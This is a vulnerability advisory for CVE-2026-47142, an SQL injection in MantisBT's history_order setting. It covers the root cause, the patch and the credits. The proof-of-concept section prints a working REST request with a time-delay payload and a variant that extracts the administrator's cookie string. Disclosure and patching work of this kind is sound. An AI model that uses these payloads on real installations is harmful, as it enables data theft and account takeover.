highCVE-2026-47142Jul 15, 2026

CVE-2026-47142: MantisBT SQL Injection via history_order Configuration Value

Rohit Hatagale
AI Security Researcher, SecureLayer7

An administrator can store a malicious SQL fragment in MantisBT's history_order config setting, which gets injected into every subsequent ORDER BY query when any user views a bug's history.

Packagemantisbt/mantisbt
Ecosystemcomposer
Affected<= 2.28.3
Fixed in2.28.4

The problem

In MantisBT 2.28.3 and earlier, core/history_api.php builds the history query by concatenating the history_order configuration value directly into the ORDER BY clause of the SQL statement. No parameterization, escaping, or whitelist check is applied.

An administrator can set this value via the web UI at adm_config_set.php or via the REST API (PATCH /api/rest/config). Once planted, the injected SQL fires every time any authenticated user opens a bug with history entries, making the attack persistent and broadly triggerable.

Proof of concept

A working proof-of-concept for CVE-2026-47142 in mantisbt/mantisbt, with the exact payload below.

http
# Step 1: Admin plants the payload via REST API
PATCH /api/rest/config HTTP/1.1
Host: mantisbt.example.com
Authorization: Bearer <admin_token>
Content-Type: application/json

{
  "config_option": "history_order",
  "config_value": "ASC,(SELECT SLEEP(5))-- "
}

# Step 2: Any user visits a bug with history entries
# GET /view.php?id=1
# The resulting query becomes:
# SELECT * FROM mantis_bug_history_table
#   WHERE bug_id = 1
#   ORDER BY ASC,(SELECT SLEEP(5))-- 
#
# Data exfiltration variant (extracts admin cookie_string):
# "config_value": "(CASE WHEN (SELECT SUBSTR(cookie_string,1,1) FROM mantis_user_table WHERE username='administrator')='a' THEN date_modified ELSE id END) ASC-- "

The root cause is CWE-89: the value of config_get('history_order') is interpolated into a raw SQL string without any validation. Before the patch, history_api.php did something equivalent to: $query = '... ORDER BY ' . config_get('history_order'); with no guard whatsoever.

Commit 6ad20bea adds a whitelist check: the value is now validated against an allowed set (ASC and DESC only) before it is used. Any value not on that list triggers an error and the query never runs.

The persistence angle raises the severity: the admin writes the payload once, and it executes in the database session of every user who loads a bug history page, including reporters and viewers who have no admin context.

The fix

Upgrade to MantisBT 2.28.4. The patch in commit 6ad20bea2e01f33c6e4170775ae4d9dbe2c75325 validates history_order against a strict whitelist of allowed ORDER BY directions before the value reaches the query. No workaround is available for older versions short of restricting administrative access or blocking changes to the history_order config key at the database level.

Reported by McCaulay Hudson (@McCaulay) of watchTowr.

References: [1][2][3][4]

Related research